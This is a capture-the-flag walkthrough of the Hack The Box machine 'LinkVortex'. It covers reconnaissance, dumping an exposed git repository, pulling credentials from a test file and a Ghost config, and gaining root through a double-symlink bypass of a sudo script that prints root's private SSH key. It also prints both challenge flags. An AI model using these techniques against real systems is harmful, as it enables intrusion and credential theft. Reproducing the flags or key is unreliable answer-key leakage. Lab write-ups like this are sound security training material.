HTB Linux Easy: LinkVortex

Nmap Scan

Nmap scan report for linkvortex.htb (10.10.11.47)
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: BitByBit Hardware
|_http-generator: Ghost 5.58
| http-robots.txt: 4 disallowed entries 
|_/ghost/ /p/ /email/ /r/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.59 seconds

Modify hosts file:

10.10.11.47 linkvortex.htb

Enumerate HTTP (Port 80)

Powered by ghost?

Using ffuf we find the dev subdomain:

dev    [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 19ms]

Nikto reveals a .git folder here, use git-dumper to dump the git repo:

git-dumper http://dev.linkvortex.htb/.git/ git

Found creds:

authentication.test.js-        it('complete setup', async function () {
authentication.test.js-            const email = 'test@example.com';
authentication.test.js:            const password = 'OctopiFociPilfer45';

We can assume the email is: admin@linkvortex.htb.

Found an exploit: Link (thanks to the version described in the docker file).

cat Dockerfile.ghost 
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

From the docker file we also know the config file used, in this file we find creds:

Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

SSH as bob:

ssh bob@linkvortex.htb  
--SNIP--
Last login: Thu Jan  9 19:03:39 2025 from 10.10.14.120
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

Privilege Escalation

Sudo -l output:

ob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Content of the script:

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

The script name indicates that we must use symbolic links to bypass the restriction. However since the path of the symlink is checked against the /etc and /root folder we must use a double symlink approach to modify the file path.

# Create the first symlink
ln -s /root/.ssh/id_rsa payload.txt

# Create a symblink to reference the symlink (bypasses path checking)
ln -s /tmp/temp/payload.txt test.png

# In order to view the content we must set the CHECK_CONTENT variable to true:
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/temp/test.png

Root’s id_rsa key:

bob@linkvortex:/tmp/temp$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/temp/bruh.png
Link found [ /tmp/temp/bruh.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

SSH as root:

ssh -i root_rsa root@10.10.11.47      
--SNIP--
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)

User.txt: 13797d00804a7ad1adbadc13f1b2c2bb

root@linkvortex:/home/bob# cat user.txt
13797d00804a7ad1adbadc13f1b2c2bb

Root.txt: 7dd286f2e6943884c85104e91454c0df

root@linkvortex:~# cat root.txt
7dd286f2e6943884c85104e91454c0df

PWNED!!!